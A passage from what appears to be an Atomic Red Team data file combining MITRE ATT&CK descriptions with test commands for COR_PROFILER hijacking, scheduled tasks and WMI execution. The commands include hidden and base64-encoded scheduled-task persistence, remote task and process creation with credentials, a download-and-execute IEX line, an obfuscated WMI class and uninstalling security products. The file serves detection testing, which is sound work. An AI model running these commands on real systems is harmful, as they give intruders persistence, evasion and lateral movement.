- "cleanup_command": "Remove-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_ENABLE_PROFILING\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER_PATH\" -Force -ErrorAction Ignore | Out-Null\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Registry-free process scope COR_PROFILER",
- "auto_generated_guid": "79d57242-bbef-41db-b301-9d01d9f6e817",
- "description": "Creates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_name": {
- "description": "unamanged profiler DLL",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll"
- },
- "clsid_guid": {
- "description": "custom clsid guid",
- "type": "string",
- "default": "{09108e71-974c-4010-89cb-acf471ae9e2c}"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "#{file_name} must be present\n",
- "prereq_command": "if (Test-Path #{file_name}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"#{file_name}\"\n"
- }
- ],
- "executor": {
- "command": "$env:COR_ENABLE_PROFILING = 1\n$env:COR_PROFILER = '#{clsid_guid}'\n$env:COR_PROFILER_PATH = '#{file_name}'\nPOWERSHELL -c 'Start-Sleep 1'\n",
- "cleanup_command": "$env:COR_ENABLE_PROFILING = 0\n$env:COR_PROFILER = ''\n$env:COR_PROFILER_PATH = ''\n",
- "name": "powershell"
- }
- }
- ]
- }
- }
- },
- {
- "category": "execution",
- "data": {
- "T1053.005": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Andrew Northern, @ex_raritas",
- "Bryan Campbell, @bry_campbell",
- "Zachary Abzug, @ZackDoesML",
- "Selena Larson, @selenalarson"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
- "created": "2019-11-27T14:58:00.429Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1053.005",
- "url": "https://attack.mitre.org/techniques/T1053/005"
- },
- {
- "source_name": "ProofPoint Serpent",
- "url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain",
- "description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022."
- },
- {
- "source_name": "Twitter Leoloobeek Scheduled Task",
- "url": "https://twitter.com/leoloobeek/status/939248813465853953",
- "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017."
- },
- {
- "source_name": "Microsoft Scheduled Task Events Win10",
- "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events",
- "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019."
- },
- {
- "source_name": "TechNet Scheduled Task Events",
- "url": "https://technet.microsoft.com/library/dd315590.aspx",
- "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017."
- },
- {
- "source_name": "TechNet Autoruns",
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."
- },
- {
- "source_name": "TechNet Forum Scheduled Task Operational Setting",
- "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen",
- "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though at.exe
can not access tasks created with schtasks
or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)",
- "modified": "2022-04-14T20:59:17.110Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Scheduled Task/Job: Scheduled Task",
- "x_mitre_detection": "Monitor process execution from the svchost.exe
in Windows 10 and the Windows Task Scheduler taskeng.exe
for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation",
- "Scheduled Job: Scheduled Job Creation",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "x_mitre_remote_support": true,
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1053.005"
- },
- "atomic_tests": [
- {
- "name": "Scheduled Task Startup Script",
- "auto_generated_guid": "fec27f65-db86-4c2d-b66c-61945aee87c2",
- "description": "Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view\nthe tasks, open the Task Scheduler and look in the Active Tasks pane.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "schtasks /create /tn \"T1053_005_OnLogon\" /sc onlogon /tr \"cmd.exe /c calc.exe\"\nschtasks /create /tn \"T1053_005_OnStartup\" /sc onstart /ru system /tr \"cmd.exe /c calc.exe\"\n",
- "cleanup_command": "schtasks /delete /tn \"T1053_005_OnLogon\" /f >nul 2>&1\nschtasks /delete /tn \"T1053_005_OnStartup\" /f >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Scheduled task Local",
- "auto_generated_guid": "42f53695-ad4a-4546-abb6-7d837f644a71",
- "description": "Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "task_command": {
- "description": "What you want to execute",
- "type": "string",
- "default": "C:\\windows\\system32\\cmd.exe"
- },
- "time": {
- "description": "What time 24 Hour",
- "type": "string",
- "default": "20:10"
- }
- },
- "executor": {
- "name": "command_prompt",
- "elevation_required": false,
- "command": "SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}\n",
- "cleanup_command": "SCHTASKS /Delete /TN spawn /F >nul 2>&1\n"
- }
- },
- {
- "name": "Scheduled task Remote",
- "auto_generated_guid": "2e5eac3e-327b-4a88-a0c0-c4057039a8dd",
- "description": "Create a task on a remote system.\nUpon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "task_command": {
- "description": "What you want to execute",
- "type": "string",
- "default": "C:\\windows\\system32\\cmd.exe"
- },
- "time": {
- "description": "What time 24 Hour",
- "type": "string",
- "default": "20:10"
- },
- "target": {
- "description": "Target",
- "type": "string",
- "default": "localhost"
- },
- "user_name": {
- "description": "Username to authenticate with, format: DOMAIN\\User",
- "type": "string",
- "default": "DOMAIN\\user"
- },
- "password": {
- "description": "Password to authenticate with",
- "type": "string",
- "default": "At0micStrong"
- }
- },
- "executor": {
- "name": "command_prompt",
- "elevation_required": true,
- "command": "SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN \"Atomic task\" /TR \"#{task_command}\" /SC daily /ST #{time}\n",
- "cleanup_command": "SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password} /TN \"Atomic task\" /F >nul 2>&1\n"
- }
- },
- {
- "name": "Powershell Cmdlet Scheduled Task",
- "auto_generated_guid": "af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd",
- "description": "Create an atomic scheduled task that leverages native powershell cmdlets.\n\nUpon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "$Action = New-ScheduledTaskAction -Execute \"calc.exe\"\n$Trigger = New-ScheduledTaskTrigger -AtLogon\n$User = New-ScheduledTaskPrincipal -GroupId \"BUILTIN\\Administrators\" -RunLevel Highest\n$Set = New-ScheduledTaskSettingsSet\n$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set\nRegister-ScheduledTask AtomicTask -InputObject $object\n",
- "cleanup_command": "Unregister-ScheduledTask -TaskName \"AtomicTask\" -confirm:$false >$null 2>&1\n"
- }
- },
- {
- "name": "Task Scheduler via VBA",
- "auto_generated_guid": "ecd3fa21-7792-41a2-8726-2c5c673414d3",
- "description": "This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute \"notepad.exe\" within\n30 - 40 seconds after this module has run\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "ms_product": {
- "description": "Maldoc application Word",
- "type": "string",
- "default": "Word"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Microsoft #{ms_product} must be installed\n",
- "prereq_command": "try {\n New-Object -COMObject \"#{ms_product}.Application\" | Out-Null\n $process = \"#{ms_product}\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft #{ms_product} manually to meet this requirement\"\n"
- }
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing) \nInvoke-MalDoc -macroFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053.005-macrocode.txt\" -officeProduct \"#{ms_product}\" -sub \"Scheduler\"\n",
- "name": "powershell",
- "cleanup_command": "Unregister-ScheduledTask -TaskName \"Run Notepad\" -Confirm:$false\n"
- }
- },
- {
- "name": "WMI Invoke-CimMethod Scheduled Task",
- "auto_generated_guid": "e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b",
- "description": "Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "xml_path": {
- "description": "path of vbs to use when creating masquerading files",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1053.005\\src\\T1053_005_WMI.xml"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "File to copy must exist on disk at specified location (#{xml_path})\n",
- "prereq_command": "if (Test-Path #{xml_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{xml_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_005_WMI.xml\" -OutFile \"#{xml_path}\"\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": true,
- "command": "$xml = [System.IO.File]::ReadAllText(\"#{xml_path}\")\nInvoke-CimMethod -ClassName PS_ScheduledTask -NameSpace \"Root\\Microsoft\\Windows\\TaskScheduler\" -MethodName \"RegisterByXml\" -Arguments @{ Force = $true; Xml =$xml; }\n",
- "cleanup_command": "Unregister-ScheduledTask -TaskName \"T1053_005_WMI\" -confirm:$false >$null 2>&1\n"
- }
- },
- {
- "name": "Scheduled Task Executing Base64 Encoded Commands From Registry",
- "auto_generated_guid": "e895677d-4f06-49ab-91b6-ae3742d0a2ba",
- "description": "A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created.\nThe scheduled task will launch powershell to decode and run the command in the registry daily.\nThis is a persistence mechanism recently seen in use by Qakbot. \n\n[Additiona Information](https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "time": {
- "description": "Daily scheduled task execution time",
- "type": "string",
- "default": "07:45"
- }
- },
- "executor": {
- "command": "reg add HKCU\\SOFTWARE\\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f\nschtasks.exe /Create /F /TN \"ATOMIC-T1053.005\" /TR \"cmd /c start /min \\\"\\\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\\\SOFTWARE\\\\ATOMIC-T1053.005).test)))\" /sc daily /st #{time}\n",
- "cleanup_command": "schtasks /delete /tn \"ATOMIC-T1053.005\" /F >nul 2>&1\nreg delete HKCU\\SOFTWARE\\ATOMIC-T1053.005 /F >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Import XML Schedule Task with Hidden Attribute",
- "auto_generated_guid": "cd925593-fbb4-486d-8def-16cbdf944bf4",
- "description": "Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. \nThis technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "xml_path": {
- "description": "path of vbs to use when creating masquerading files",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1053.005\\src\\T1053_05_SCTASK_HIDDEN_ATTRIB.xml"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "File to copy must exist on disk at specified location (#{xml_path})\n",
- "prereq_command": "if (Test-Path #{xml_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{xml_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_05_SCTASK_HIDDEN_ATTRIB.xml\" -OutFile \"#{xml_path}\"\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": true,
- "command": "$xml = [System.IO.File]::ReadAllText(\"#{xml_path}\")\nInvoke-CimMethod -ClassName PS_ScheduledTask -NameSpace \"Root\\Microsoft\\Windows\\TaskScheduler\" -MethodName \"RegisterByXml\" -Arguments @{ Force = $true; Xml =$xml; }\n",
- "cleanup_command": "Unregister-ScheduledTask -TaskName \"atomic red team\" -confirm:$false >$null 2>&1\n"
- }
- },
- {
- "name": "PowerShell Modify A Scheduled Task",
- "auto_generated_guid": "dda6fc7b-c9a6-4c18-b98d-95ec6542af6d",
- "description": "Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. \nIt will first be created to spawn cmd.exe, but modified to run notepad.exe.\n\nUpon successful execution, powershell.exe will create a scheduled task and modify the action. \n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "$Action = New-ScheduledTaskAction -Execute \"cmd.exe\"\n$Trigger = New-ScheduledTaskTrigger -AtLogon\n$User = New-ScheduledTaskPrincipal -GroupId \"BUILTIN\\Administrators\" -RunLevel Highest\n$Set = New-ScheduledTaskSettingsSet\n$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set\nRegister-ScheduledTask AtomicTaskModifed -InputObject $object\n$NewAction = New-ScheduledTaskAction -Execute \"Notepad.exe\"\nSet-ScheduledTask \"AtomicTaskModifed\" -Action $NewAction\n",
- "cleanup_command": "Unregister-ScheduledTask -TaskName \"AtomicTaskModifed\" -confirm:$false >$null 2>&1\n"
- }
- }
- ]
- },
- "T1047": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "@ionstorm"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
- "created": "2017-05-31T21:30:44.329Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1047",
- "url": "https://attack.mitre.org/techniques/T1047"
- },
- {
- "source_name": "FireEye WMI 2015",
- "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf",
- "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016."
- },
- {
- "source_name": "FireEye WMI SANS 2015",
- "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf",
- "description": "Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020."
- },
- {
- "source_name": "MSDN WMI",
- "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx",
- "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM).(Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: MSDN WMI)(Citation: FireEye WMI 2015)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)",
- "modified": "2022-04-20T16:25:21.348Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Windows Management Instrumentation",
- "x_mitre_detection": "Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution",
- "Network Traffic: Network Connection Creation"
- ],
- "x_mitre_remote_support": true,
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1047"
- },
- "atomic_tests": [
- {
- "name": "WMI Reconnaissance Users",
- "auto_generated_guid": "c107778c-dcf5-47c5-af2e-1d058a3df3ea",
- "description": "An adversary might use WMI to list all local User Accounts. \nWhen the test completes , there should be local user accounts information displayed on the command line.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "wmic useraccount get /ALL /format:csv\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "WMI Reconnaissance Processes",
- "auto_generated_guid": "5750aa16-0e59-4410-8b9a-8a47ca2788e2",
- "description": "An adversary might use WMI to list Processes running on the compromised host.\nWhen the test completes , there should be running processes listed on the command line.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "wmic process get caption,executablepath,commandline /format:csv\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "WMI Reconnaissance Software",
- "auto_generated_guid": "718aebaa-d0e0-471a-8241-c5afa69c7414",
- "description": "An adversary might use WMI to list installed Software hotfix and patches.\nWhen the test completes, there should be a list of installed patches and when they were installed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "wmic qfe get description,installedOn /format:csv\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "WMI Reconnaissance List Remote Services",
- "auto_generated_guid": "0fd48ef7-d890-4e93-a533-f7dedd5191d3",
- "description": "An adversary might use WMI to check if a certain Remote Service is running on a remote device. \nWhen the test completes, a service information will be displayed on the screen if it exists.\nA common feedback message is that \"No instance(s) Available\" if the service queried is not running.\nA common error message is \"Node - (provided IP or default) ERROR Description =The RPC server is unavailable\" \nif the provided remote host is unreacheable\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "node": {
- "description": "Ip Address",
- "type": "string",
- "default": "127.0.0.1"
- },
- "service_search_string": {
- "description": "Name Of Service",
- "type": "string",
- "default": "Spooler"
- }
- },
- "executor": {
- "command": "wmic /node:\"#{node}\" service where (caption like \"%#{service_search_string}%\")\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "WMI Execute Local Process",
- "auto_generated_guid": "b3bdfc91-b33e-4c6d-a5c8-d64bee0276b3",
- "description": "This test uses wmic.exe to execute a process on the local host.\nWhen the test completes , a new process will be started locally .A notepad application will be started when input is left on default.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "process_to_execute": {
- "description": "Name or path of process to execute.",
- "type": "string",
- "default": "notepad.exe"
- }
- },
- "executor": {
- "command": "wmic process call create #{process_to_execute}\n",
- "cleanup_command": "wmic process where name='#{process_to_execute}' delete >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "WMI Execute Remote Process",
- "auto_generated_guid": "9c8ef159-c666-472f-9874-90c8d60d136b",
- "description": "This test uses wmic.exe to execute a process on a remote host. Specify a valid value for remote IP using the node parameter.\nTo clean up, provide the same node input as the one provided to run the test\nA common error message is \"Node - (provided IP or default) ERROR Description =The RPC server is unavailable\" if the default or provided IP is unreachable\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "node": {
- "description": "Ip Address",
- "type": "string",
- "default": "127.0.0.1"
- },
- "user_name": {
- "description": "Username",
- "type": "string",
- "default": "DOMAIN\\Administrator"
- },
- "password": {
- "description": "Password",
- "type": "string",
- "default": "P@ssw0rd1"
- },
- "process_to_execute": {
- "description": "Name or path of process to execute.",
- "type": "string",
- "default": "notepad.exe"
- }
- },
- "executor": {
- "command": "wmic /user:#{user_name} /password:#{password} /node:\"#{node}\" process call create #{process_to_execute}\n",
- "cleanup_command": "wmic /user:#{user_name} /password:#{password} /node:\"#{node}\" process where name='#{process_to_execute}' delete >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Create a Process using WMI Query and an Encoded Command",
- "auto_generated_guid": "7db7a7f9-9531-4840-9b30-46220135441c",
- "description": "Solarigate persistence is achieved via backdoors deployed via various techniques including using PowerShell with an EncodedCommand\n Powershell -nop -exec bypass -EncodedCommand \nWhere the \u2013EncodedCommand, once decoded, would resemble:\n Invoke-WMIMethod win32_process -name create -argumentlist \u2018rundll32 c:\\windows\\idmu\\common\\ypprop.dll _XInitImageFuncPtrs\u2019 -ComputerName WORKSTATION\nThe EncodedCommand in this atomic is the following: Invoke-WmiMethod -Path win32_process -Name create -ArgumentList notepad.exe\nYou should expect to see notepad.exe running after execution of this test.\n[Solarigate Analysis from Microsoft](https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/)\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "powershell -exec bypass -e SQBuAHYAbwBrAGUALQBXAG0AaQBNAGUAdABoAG8AZAAgAC0AUABhAHQAaAAgAHcAaQBuADMAMgBfAHAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIABjAHIAZQBhAHQAZQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABuAG8AdABlAHAAYQBkAC4AZQB4AGUA\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Create a Process using obfuscated Win32_Process",
- "auto_generated_guid": "10447c83-fc38-462a-a936-5102363b1c43",
- "description": "This test tries to mask process creation by creating a new class that inherits from Win32_Process. Indirect call of suspicious method such as Win32_Process::Create can break detection logic.\n[Cybereason blog post No Win32_ProcessNeeded](https://www.cybereason.com/blog/wmi-lateral-movement-win32)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "new_class": {
- "description": "Derived class name",
- "type": "string",
- "default": "Win32_Atomic"
- },
- "process_to_execute": {
- "description": "Name or path of process to execute.",
- "type": "string",
- "default": "notepad.exe"
- }
- },
- "executor": {
- "name": "powershell",
- "elevation_required": true,
- "command": "$Class = New-Object Management.ManagementClass(New-Object Management.ManagementPath(\"Win32_Process\"))\n$NewClass = $Class.Derive(\"#{new_class}\")\n$NewClass.Put()\nInvoke-WmiMethod -Path #{new_class} -Name create -ArgumentList #{process_to_execute}\n",
- "cleanup_command": "$CleanupClass = New-Object Management.ManagementClass(New-Object Management.ManagementPath(\"#{new_class}\"))\ntry { $CleanupClass.Delete() } catch {}\n"
- }
- },
- {
- "name": "WMI Execute rundll32",
- "auto_generated_guid": "00738d2a-4651-4d76-adf2-c43a41dfb243",
- "description": "This test uses wmic.exe to execute a DLL function using rundll32. Specify a valid value for remote IP using the node parameter.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "node": {
- "description": "Ip Address",
- "type": "string",
- "default": "127.0.0.1"
- },
- "dll_to_execute": {
- "description": "Path to DLL.",
- "type": "string",
- "default": "$env:TEMP\\calc.dll"
- },
- "function_to_execute": {
- "description": "Name of DLL function to call",
- "type": "string",
- "default": "StartW"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "DLL with function to execute must exist on disk at specified location (#{dll_to_execute})",
- "prereq_command": "if (Test-Path #{dll_to_execute}) {exit 0} else {exit 1}",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1047/bin/calc.dll?raw=true\" -OutFile \"#{dll_to_execute}\"\n"
- }
- ],
- "executor": {
- "command": "wmic /node:#{node} process call create \"rundll32.exe #{dll_to_execute} #{function_to_execute}\"\n",
- "cleanup_command": "taskkill /f /im calculator.exe",
- "name": "powershell"
- }
- },
- {
- "name": "Application uninstall using WMIC",
- "auto_generated_guid": "c510d25b-1667-467d-8331-a56d3e9bc4ff",
- "description": "Emulates uninstalling applications using WMIC. This method only works if the product was installed with an msi file. APTs have been seen using this to uninstall security products.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "node": {
- "description": "Computer the action is being executed against but defaults to the localhost.",
- "type": "string",
- "default": "127.0.0.1"
- },
- "product": {
- "description": "Enter the product name being uninstalled. This will default to TightVNC.",
- "type": "string",
- "default": "Tightvnc"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "TightVNC must be installed.",
